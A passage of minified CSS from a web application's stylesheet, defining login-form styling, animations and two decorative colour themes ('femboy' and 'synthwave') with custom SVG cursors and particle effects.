212 / var(--tw-border-opacity, 1));outline:2px solid transparent;outline-offset:2px;--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000);--tw-ring-color: rgb(6 182 212 / .3)}.form-input::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.form-input::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)}select.form-input{cursor:pointer;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%2352525B' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3E%3C/svg%3E");background-position:right .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-right:2.5rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.animate-slide-up,.animate-fade-in{animation-fill-mode:forwards}@keyframes landingScanBar{0%{width:0%}to{width:100%}}.landing-scan-bar{animation:landingScanBar 2s cubic-bezier(.4,0,.2,1) forwards}@keyframes landingScanRowIn{0%{opacity:0;transform:translate(-8px)}to{opacity:1;transform:translate(0)}}.landing-scan-row{opacity:0;animation:landingScanRowIn .3s ease-out forwards}@keyframes ctxSubmenuIn{0%{opacity:0;transform:translate(-4px)}to{opacity:1;transform:translate(0)}}.ctx-submenu-in{animation:ctxSubmenuIn .12s ease-out}a,button{transition-property:color,background-color,border-color,box-shadow,opacity;transition-duration:.15s;transition-timing-function:cubic-bezier(.4,0,.2,1)}@keyframes authReveal{0%{opacity:0;transform:translateY(16px)}to{opacity:1;transform:translateY(0)}}.auth-stagger-1,.auth-stagger-2,.auth-stagger-3,.auth-stagger-4,.auth-stagger-5,.auth-stagger-6,.auth-stagger-7,.auth-stagger-8{opacity:0;animation:authReveal .5s cubic-bezier(.16,1,.3,1) forwards}.auth-stagger-1{animation-delay:0ms}.auth-stagger-2{animation-delay:.1s}.auth-stagger-3{animation-delay:.2s}.auth-stagger-4{animation-delay:.28s}.auth-stagger-5{animation-delay:.36s}.auth-stagger-6{animation-delay:.44s}.auth-stagger-7{animation-delay:.52s}.auth-stagger-8{animation-delay:.6s}@keyframes authBreathe{0%,to{transform:translateY(0)}50%{transform:translateY(-3px)}}.auth-breathe{animation:authBreathe 4s ease-in-out infinite}@keyframes authBadgeGlow{0%,to{box-shadow:0 0 4px #06b6d41a,inset 0 0 4px #06b6d40d;border-color:#06b6d44d}50%{box-shadow:0 0 12px #06b6d440,inset 0 0 8px #06b6d41a;border-color:#06b6d480}}.auth-badge-glow{animation:authBadgeGlow 3s ease-in-out infinite}.auth-card{position:relative;background:#111113;border:1px solid #1F1F23;padding:1.75rem;overflow:hidden;transition:border-color .3s ease}.auth-card:hover{border-color:#06b6d426}.auth-corner{position:absolute;width:14px;height:14px;pointer-events:none;z-index:5}.auth-corner-tl{top:-1px;left:-1px;border-top:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-tr{top:-1px;right:-1px;border-top:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}.auth-corner-bl{bottom:-1px;left:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-br{bottom:-1px;right:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}@keyframes authScanline{0%{top:-2px;opacity:0}5%{opacity:1}95%{opacity:1}to{top:100%;opacity:0}}.auth-scanline{position:absolute;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent 0%,rgba(6,182,212,.3) 20%,rgba(6,182,212,.5) 50%,rgba(6,182,212,.3) 80%,transparent 100%);box-shadow:0 0 8px #06b6d426;z-index:4;pointer-events:none;animation:authScanline 4s ease-in-out infinite}.auth-input-wrap{position:relative}.auth-input-wrap:before{content:"";position:absolute;left:0;top:4px;bottom:4px;width:2px;background:transparent;transition:background .2s ease,box-shadow .2s ease;z-index:2;border-radius:1px}.auth-input-wrap:focus-within:before{background:#06b6d4;box-shadow:0 0 8px #06b6d466}.auth-input{width:100%;background:#09090b;border:1px solid #1F1F23;padding:.625rem .875rem .625rem 1rem;color:#fafafa;font-size:.875rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;outline:none;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease}.auth-input::-moz-placeholder{color:#52525b}.auth-input::placeholder{color:#52525b}.auth-input:focus{border-color:#06b6d466;box-shadow:0 0 0 3px #06b6d414,inset 0 0 12px #06b6d408;background:#0a0a0d}@keyframes authSubmitGlow{0%,to{box-shadow:0 0 12px #06b6d426,0 0 4px #06b6d41a}50%{box-shadow:0 0 20px #06b6d44d,0 0 8px #06b6d433}}.auth-submit{width:100%;position:relative;padding:.7rem 1rem;font-size:.875rem;font-weight:500;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;color:#fff;background:linear-gradient(135deg,#0891b2,#06b6d4,#22d3ee);background-size:200% 200%;border:none;cursor:pointer;overflow:hidden;animation:authSubmitGlow 3s ease-in-out infinite;transition:filter .2s ease,transform .15s ease}.auth-submit:hover:not(:disabled){filter:brightness(1.1);transform:translateY(-1px)}.auth-submit:active:not(:disabled){transform:translateY(0)}.auth-submit:disabled{opacity:.5;cursor:not-allowed;animation:none}.auth-submit:after{content:"";position:absolute;top:0;left:-100%;width:100%;height:100%;background:linear-gradient(90deg,transparent 0%,rgba(255,255,255,.08) 50%,transparent 100%);transition:left .5s ease;z-index:1}.auth-submit:hover:after{left:100%}@keyframes authErrorIn{0%{opacity:0;transform:translateY(-8px) scaleY(.95);max-height:0;padding-top:0;padding-bottom:0;margin-bottom:0}to{opacity:1;transform:translateY(0) scaleY(1);max-height:80px;padding-top:.75rem;padding-bottom:.75rem;margin-bottom:0}}.auth-error{display:flex;align-items:center;gap:.75rem;background:#ef44440f;border:1px solid rgba(239,68,68,.2);color:#ef4444;font-size:.8125rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;padding:.75rem 1rem;animation:authErrorIn .35s cubic-bezier(.16,1,.3,1) forwards;overflow:hidden}.auth-error-bar{flex-shrink:0;width:3px;height:16px;background:#ef4444;border-radius:1px;box-shadow:0 0 6px #ef444466}@keyframes authStatusPulse{0%,to{opacity:1;box-shadow:0 0 4px #06b6d466}50%{opacity:.5;box-shadow:0 0 8px #06b6d499}}.auth-status-dot{display:inline-block;width:5px;height:5px;border-radius:50%;background:#06b6d4;animation:authStatusPulse 2s ease-in-out infinite}.femboy-theme{--fem-bg: #fff5f8;--fem-bg-alt: #fff0f5;--fem-panel: #ffe8f1;--fem-panel-hover: #ffd6e7;--fem-border: #ffb8d4;--fem-border-hover: #ff9ec4;--fem-accent: #ff69b4;--fem-accent-hover: #ff4da6;--fem-accent-dim: #e84393;--fem-text: #3d0a22;--fem-text-dim: #7a2855;--fem-text-muted: #c48aa6}.femboy-theme,.femboy-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='32' viewBox='0 0 28 32'%3E%3Cellipse cx='14' cy='22' rx='8' ry='7' fill='%23ff69b4'/%3E%3Ccircle cx='6' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='14' cy='6' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='22' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Cellipse cx='14' cy='22' rx='5' ry='4.5' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='6' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='14' cy='6' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='22' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3C/svg%3E") 14 16,auto!important}.femboy-theme ::-moz-selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme ::selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme :focus-visible{outline-color:#ff69b480!important}.femboy-theme body{background-color:var(--fem-bg)!important;color:var(--fem-text)!important}.femboy-theme .bg-zerin-bg{background-color:var(--fem-bg)!important}.femboy-theme .bg-zerin-bg-alt{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-zerin-panel{background-color:var(--fem-panel)!important}.femboy-theme .bg-zerin-panel-hover,.femboy-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--fem-panel-hover)!important}.femboy-theme .bg-zerin-accent{background-color:var(--fem-accent)!important}.femboy-theme .bg-zerin-accent-hover{background-color:var(--fem-accent-hover)!important}.femboy-theme .bg-zerin-accent-dim{background-color:var(--fem-accent-dim)!important}.femboy-theme .bg-zerin-accent-muted,.femboy-theme .bg-zerin-accent-muted\/10{background-color:#ff69b41f!important}.femboy-theme .bg-zerin-danger-dim{background-color:#ff149314!important}.femboy-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff149326!important}.femboy-theme .bg-zinc-600{background-color:#dfa0bb!important}.femboy-theme .bg-zinc-700{background-color:#e8b5cc!important}.femboy-theme .bg-zinc-500{background-color:#c9a0b5!important}.femboy-theme .text-zerin-text{color:var(--fem-text)!important}.femboy-theme .text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .text-zerin-text-muted{color:var(--fem-text-muted)!important}.femboy-theme .text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .text-zerin-accent-hover{color:var(--fem-accent-hover)!important}.femboy-theme .text-zerin-accent-dim{color:var(--fem-accent-dim)!important}.femboy-theme .text-zerin-danger{color:#e8195e!important}.femboy-theme .text-zinc-400{color:#9a6080!important}.femboy-theme .text-zinc-500{color:#b07898!important}.femboy-theme .text-zinc-300{color:#7a2855!important}.femboy-theme .hover\:text-zerin-text:hover{color:var(--fem-text)!important}.femboy-theme .hover\:text-zerin-text-dim:hover{color:var(--fem-text-dim)!important}.femboy-theme .hover\:text-zerin-accent:hover{color:var(--fem-accent)!important}.femboy-theme .hover\:text-zerin-danger:hover{color:#ff1493!important}.femboy-theme .group:hover .group-hover\:text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .border-zerin-panel-border{border-color:var(--fem-border)!important}.femboy-theme .border-zerin-panel-border-hover,.femboy-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--fem-border-hover)!important}.femboy-theme .border-zerin-accent{border-color:var(--fem-accent)!important}.femboy-theme .border-zerin-accent\/20,.femboy-theme .border-zerin-accent\/25{border-color:#ff69b438!important}.femboy-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff69b44d!important}.femboy-theme .border-zinc-700{border-color:#f0c0d8!important}.femboy-theme .border-zinc-800{border-color:#f5d0e2!important}.femboy-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--fem-border)!important}.femboy-theme .focus\:border-zerin-accent:focus{border-color:var(--fem-accent)!important}.femboy-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#ffb8d4}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#ff9ec4}.femboy-theme .custom-scrollbar{scrollbar-color:#ffb8d4 transparent}.femboy-theme .form-input{background-color:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .form-input:focus{border-color:var(--fem-accent)!important;--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-card{background:var(--fem-panel)!important;border-color:var(--fem-border)!important}.femboy-theme .auth-card:hover{border-color:#ff69b426!important}.femboy-theme .auth-corner-tl,.femboy-theme .auth-corner-tr,.femboy-theme .auth-corner-bl,.femboy-theme .auth-corner-br{border-color:#ff69b480!important}.femboy-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(255,105,180,.3) 20%,rgba(255,105,180,.5) 50%,rgba(255,105,180,.3) 80%,transparent 100%)!important;box-shadow:0 0 8px #ff69b426!important}.femboy-theme .auth-input{background:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .auth-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input:focus{border-color:#ff69b4!important;box-shadow:0 0 0 3px #ff69b426,inset 0 0 12px #ff69b40d!important}.femboy-theme .auth-input-wrap:focus-within:before{background:var(--fem-accent)!important;box-shadow:0 0 8px #ff69b466!important}.femboy-theme .auth-submit{background:linear-gradient(135deg,#d4508f,#ff69b4,#ff8cc8)!important}.femboy-theme .auth-status-dot{background:var(--fem-accent)!important}.femboy-theme .auth-badge-glow{box-shadow:0 0 4px #ff69b41a,inset 0 0 4px #ff69b40d!important;border-color:#ff69b44d!important}.femboy-theme nav a{transition:transform .2s cubic-bezier(.34,1.56,.64,1),color .15s,background-color .15s!important}.femboy-theme nav a:hover{transform:translate(3px) scale(1.02)}.femboy-logo-glow{text-shadow:0 0 10px rgba(255,105,180,.4),0 0 20px rgba(255,105,180,.15)}.femboy-ear{position:absolute;width:0;height:0;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:16px solid #ff69b4;filter:drop-shadow(0 0 6px rgba(255,105,180,.5));z-index:10}.femboy-ear:after{content:"";position:absolute;top:4px;left:-5px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:9px solid #ff1493}.femboy-ear-left{top:-14px;left:-2px;transform:rotate(-12deg)}.femboy-ear-right{top:-14px;left:32px;transform:rotate(12deg)}@keyframes floatPaw{0%{transform:translateY(0) rotate(0) scale(1);opacity:0}8%{opacity:.35}50%{transform:translateY(-50vh) rotate(90deg) scale(.85);opacity:.2}92%{opacity:0}to{transform:translateY(-105vh) rotate(200deg) scale(.5);opacity:0}}.femboy-paw{position:fixed;bottom:-40px;pointer-events:none;z-index:9999;animation:floatPaw linear infinite;will-change:transform,opacity}@keyframes femConfetti{0%{transform:translate(0) rotate(0) scale(1);opacity:1}70%{opacity:.8}to{transform:translate(var(--fem-dx),var(--fem-dy)) rotate(var(--fem-rot)) scale(.2);opacity:0}}@keyframes femSpark{0%{transform:scale(0) rotate(0);opacity:1}40%{transform:scale(1.2) rotate(120deg);opacity:.9}to{transform:scale(0) rotate(360deg);opacity:0}}.femboy-sparkle{position:fixed;clip-path:polygon(50% 0%,61% 35%,98% 35%,68% 57%,79% 91%,50% 70%,21% 91%,32% 57%,2% 35%,39% 35%);pointer-events:none;z-index:100000;animation:femSpark .9s ease-out forwards}.femboy-theme aside{border-right-color:var(--fem-border)!important;box-shadow:2px 0 20px #ff69b414}@keyframes femBadgeShimmer{0%,to{opacity:.7}50%{opacity:1;text-shadow:0 0 6px rgba(255,105,180,.4)}}.femboy-badge{animation:femBadgeShimmer 2s ease-in-out infinite}.femboy-theme nav a .bg-zerin-accent,.femboy-theme nav a span[class*=bg-zerin-accent]{background-color:var(--fem-accent)!important}.femboy-theme .bg-\[\#09090B\]{background-color:var(--fem-bg)!important}.femboy-theme .bg-\[\#0C0C0E\]{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-\[\#111113\]{background-color:var(--fem-panel)!important}.femboy-theme .bg-\[\#04040a\]{background-color:#fff8fa!important}.femboy-theme .bg-\[\#08080c\]{background-color:var(--fem-bg)!important}.femboy-theme .border-\[\#1a1a22\],.femboy-theme .border-\[\#1F1F23\]{border-color:var(--fem-border)!important}.femboy-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--fem-border-hover)!important}@keyframes femHeartFloat{0%{transform:translate(0) scale(1) rotate(0);opacity:.9}to{transform:translate(var(--fem-hx, 0px),-40px) scale(.3) rotate(var(--fem-hr, 20deg));opacity:0}}.femboy-heart-trail{position:fixed;pointer-events:none;z-index:99998;animation:femHeartFloat .7s ease-out forwards;will-change:transform,opacity;font-size:12px;line-height:1}@keyframes femKaomojiDrift{0%{transform:translate(0) translateY(0) rotate(0);opacity:0}10%{opacity:.6}90%{opacity:.6}to{transform:translate(30px) translateY(-60px) rotate(8deg);opacity:0}}.femboy-kaomoji{position:fixed;pointer-events:none;z-index:99997;font-size:13px;color:#ff69b4;font-family:var(--font-mono),monospace;animation:femKaomojiDrift 3s ease-in-out forwards;text-shadow:0 0 8px rgba(255,105,180,.3)}.synthwave-theme{--synth-bg: #0D001A;--synth-bg-alt: #120024;--synth-panel: #1A0033;--synth-panel-hover: #24004D;--synth-border: #3D0066;--synth-border-hover: #5C0099;--synth-accent: #FF2D95;--synth-accent-hover: #FF5CAF;--synth-accent-dim: #CC0066;--synth-cyan: #00F0FF;--synth-text: #F0E6FF;--synth-text-dim: #C8A8E8;--synth-text-muted: #7B5299}.synthwave-theme,.synthwave-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E%3Cline x1='12' y1='0' x2='12' y2='9' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='12' y1='15' x2='12' y2='24' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='0' y1='12' x2='9' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='15' y1='12' x2='24' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Ccircle cx='12' cy='12' r='3' fill='none' stroke='%23FF2D95' stroke-width='1' opacity='0.9'/%3E%3C/svg%3E") 12 12,crosshair!important}.synthwave-theme ::-moz-selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme ::selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme :focus-visible{outline-color:#00f0ff99!important}.synthwave-theme body{background-color:var(--synth-bg)!important;color:var(--synth-text)!important}.synthwave-theme .bg-zerin-bg{background-color:var(--synth-bg)!important}.synthwave-theme .bg-zerin-bg-alt{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-zerin-panel{background-color:var(--synth-panel)!important}.synthwave-theme .bg-zerin-panel-hover,.synthwave-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--synth-panel-hover)!important}.synthwave-theme .bg-zerin-accent{background-color:var(--synth-accent)!important}.synthwave-theme .bg-zerin-accent-hover{background-color:var(--synth-accent-hover)!important}.synthwave-theme .bg-zerin-accent-dim{background-color:var(--synth-accent-dim)!important}.synthwave-theme .bg-zerin-accent-muted,.synthwave-theme .bg-zerin-accent-muted\/10{background-color:#ff2d951f!important}.synthwave-theme .bg-zerin-danger-dim{background-color:#ff00501a!important}.synthwave-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff00502e!important}.synthwave-theme .bg-zinc-600{background-color:#4d1a66!important}.synthwave-theme .bg-zinc-700{background-color:#3d0066!important}.synthwave-theme .bg-zinc-500{background-color:#5c2680!important}.synthwave-theme .text-zerin-text{color:var(--synth-text)!important}.synthwave-theme .text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .text-zerin-text-muted{color:var(--synth-text-muted)!important}.synthwave-theme .text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .text-zerin-accent-hover{color:var(--synth-accent-hover)!important}.synthwave-theme .text-zerin-accent-dim{color:var(--synth-accent-dim)!important}.synthwave-theme .text-zerin-danger{color:#f36!important}.synthwave-theme .text-zinc-400{color:#96c!important}.synthwave-theme .text-zinc-500{color:#7b5299!important}.synthwave-theme .text-zinc-300{color:#c8a8e8!important}.synthwave-theme .hover\:text-zerin-text:hover{color:var(--synth-text)!important}.synthwave-theme .hover\:text-zerin-text-dim:hover{color:var(--synth-text-dim)!important}.synthwave-theme .hover\:text-zerin-accent:hover{color:var(--synth-accent)!important}.synthwave-theme .hover\:text-zerin-danger:hover{color:#f36!important}.synthwave-theme .group:hover .group-hover\:text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .border-zerin-panel-border{border-color:var(--synth-border)!important}.synthwave-theme .border-zerin-panel-border-hover,.synthwave-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--synth-border-hover)!important}.synthwave-theme .border-zerin-accent{border-color:var(--synth-accent)!important}.synthwave-theme .border-zerin-accent\/20,.synthwave-theme .border-zerin-accent\/25{border-color:#ff2d9540!important}.synthwave-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff2d9559!important}.synthwave-theme .border-zinc-700{border-color:#3d0066!important}.synthwave-theme .border-zinc-800{border-color:#2a004d!important}.synthwave-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--synth-border)!important}.synthwave-theme .focus\:border-zerin-accent:focus{border-color:var(--synth-cyan)!important}.synthwave-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(0, 240, 255, .3) !important}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#5c0099}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#7b00cc}.synthwave-theme .custom-scrollbar{scrollbar-color:#5C0099 transparent}.synthwave-theme .form-input{background-color:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan)!important;--tw-ring-color: rgba(0, 240, 255, .25) !important;box-shadow:0 0 0 3px #00f0ff1a,0 0 12px #00f0ff0d!important}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-card{background:var(--synth-panel)!important;border-color:var(--synth-border)!important;box-shadow:0 0 30px #ff2d9514,0 0 60px #00f0ff0a!important}.synthwave-theme .auth-card:hover{border-color:#ff2d9540!important}.synthwave-theme .auth-corner-tl,.synthwave-theme .auth-corner-tr{border-color:#00f0ff99!important}.synthwave-theme .auth-corner-bl,.synthwave-theme .auth-corner-br{border-color:#ff2d9599!important}.synthwave-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(0,240,255,.3) 20%,rgba(255,45,149,.5) 50%,rgba(0,240,255,.3) 80%,transparent 100%)!important;box-shadow:0 0 12px #ff2d9533!important}.synthwave-theme .auth-input{background:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .auth-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input:focus{border-color:var(--synth-cyan)!important;box-shadow:0 0 0 3px #00f0ff1f,inset 0 0 12px #00f0ff08!important}.synthwave-theme .auth-input-wrap:focus-within:before{background:var(--synth-cyan)!important;box-shadow:0 0 8px #00f0ff80!important}.synthwave-theme .auth-submit{background:linear-gradient(135deg,#c06,#ff2d95,#b026ff)!important}.synthwave-theme .auth-status-dot{background:var(--synth-cyan)!important}.synthwave-theme .auth-badge-glow{box-shadow:0 0 4px #00f0ff26,inset 0 0 4px #00f0ff0d!important;border-color:#00f0ff4d!important}.synthwave-theme aside{border-right-color:var(--synth-border)!important;box-shadow:2px 0 30px #ff2d951a,1px 0 #ff2d9533!important}.synthwave-theme nav a{transition:all .2s ease!important;position:relative}.synthwave-theme nav a:hover{text-shadow:0 0 8px rgba(255,45,149,.4)}.synthwave-theme nav a span[class*=bg-zerin-accent]{background-color:var(--synth-accent)!important;box-shadow:0 0 8px #ff2d9580}.synthwave-theme .border-zerin-panel-border{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.text-zerin-text,.synthwave-theme .font-display.text-lg{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}@keyframes synthBadgePulse{0%,to{text-shadow:0 0 4px rgba(0,240,255,.4);border-color:#00f0ff40}50%{text-shadow:0 0 10px rgba(0,240,255,.7);border-color:#00f0ff80}}.synthwave-theme .font-display .font-mono,.synthwave-theme span[class*=text-zerin-accent][class*=border]{color:var(--synth-cyan)!important;border-color:#00f0ff40!important;animation:synthBadgePulse 2.5s ease-in-out infinite}.synthwave-theme main.custom-scrollbar{background:linear-gradient(180deg,var(--synth-bg) 0%,#120024 100%),repeating-linear-gradient(90deg,rgba(255,45,149,.03) 0px,rgba(255,45,149,.03) 1px,transparent 1px,transparent 60px),repeating-linear-gradient(0deg,rgba(0,240,255,.02) 0px,rgba(0,240,255,.02) 1px,transparent 1px,transparent 60px)!important}.synthwave-theme .bg-\[\#09090B\]{background-color:var(--synth-bg)!important}.synthwave-theme .bg-\[\#0C0C0E\]{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-\[\#111113\]{background-color:var(--synth-panel)!important}.synthwave-theme .bg-\[\#04040a\]{background-color:#08001a!important}.synthwave-theme .bg-\[\#08080c\]{background-color:var(--synth-bg)!important}.synthwave-theme .border-\[\#1a1a22\],.synthwave-theme .border-\[\#1F1F23\]{border-color:var(--synth-border)!important}.synthwave-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--synth-border-hover)!important}.synthwave-logo-glow{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff 60%,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 10px rgba(255,45,149,.5)) drop-shadow(0 0 20px rgba(0,240,255,.3))}@keyframes synthBadgeGlow{0%,to{text-shadow:0 0 4px rgba(0,240,255,.5);box-shadow:0 0 4px #00f0ff1a,inset 0 0 4px #00f0ff0d}50%{text-shadow:0 0 10px rgba(0,240,255,.8);box-shadow:0 0 10px #00f0ff33,inset 0 0 6px #00f0ff1a}}.synthwave-badge{animation:synthBadgeGlow 2s ease-in-out infinite}@keyframes synthBurstLine{0%{opacity:0;transform:scaleX(0)}40%{opacity:1;transform:scaleX(1.1)}to{opacity:0;transform:scaleX(1)}}@keyframes synthBurstParticle{0%{transform:translate(0) scale(1);opacity:1}to{transform:translate(var(--synth-dx),var(--synth-dy)) scale(0);opacity:0}}@keyframes synthTrailFade{0%{transform:scale(1);opacity:.8}to{transform:scale(0);opacity:0}}.synthwave-trail{position:fixed;width:4px;height:4px;border-radius:50%;pointer-events:none;z-index:99998;animation:synthTrailFade .45s ease-out forwards;will-change:transform,opacity;margin-left:-2px;margin-top:-2px}@keyframes synthShapeFloat{0%{transform:translateY(0) rotate(0);opacity:0}10%{opacity:.3}50%{transform:translateY(-45vh) rotate(180deg);opacity:.15}to{transform:translateY(-100vh) rotate(360deg);opacity:0}}.synthwave-shape{position:fixed;bottom:-30px;pointer-events:none;z-index:9998;animation:synthShapeFloat 5.5s ease-in-out forwards;will-change:transform,opacity}.synthwave-theme aside:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;background:repeating-linear-gradient(0deg,transparent 0px,transparent 3px,rgba(0,240,255,.015) 3px,rgba(0,240,255,.015) 4px);z-index:1}.placeholder\:text-zerin-text-muted::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.placeholder\:text-zerin-text-muted::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:translate-x-0\.5:hover{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.hover\:border-zerin-accent\/20:hover{border-color:#06b6d433}.hover\:border-zerin-accent\/30:hover{border-color:#06b6d44d}.hover\:border-zerin-accent\/40:hover{border-color:#06b6d466}.hover\:border-zerin-accent\/50:hover{border-color:#06b6d480}.hover\:border-zerin-panel-border-hover:hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted:hover{--tw-border-opacity: 1;border-color:rgb(82 82 91 / var(--tw-border-opacity, 1))}.hover\:bg-\[\#14141a\]:hover{--tw-bg-opacity: 1;background-color:rgb(20 20 26 / var(--tw-bg-opacity, 1))}.hover\:bg-\[\#1f1f25\]:hover{--tw-bg-opacity: 1;background-color:rgb(31 31 37 / var(--tw-bg-opacity, 1))}.hover\:bg-amber-700:hover{--tw-bg-opacity: 1;background-color:rgb(180 83 9 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500:hover{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500\/10:hover{background-color:#10b9811a}.hover\:bg-emerald-700:hover{--tw-bg-opacity: 1;background-color:rgb(4 120 87 / var(--tw-bg-opacity, 1))}.hover\:bg-orange-500\/15:hover{background-color:#f9731626}.hover\:bg-purple-500\/10:hover{background-color:#a855f71a}.hover\:bg-purple-700:hover{--tw-bg-opacity: 1;background-color:rgb(126 34 206 / var(--tw-bg-opacity, 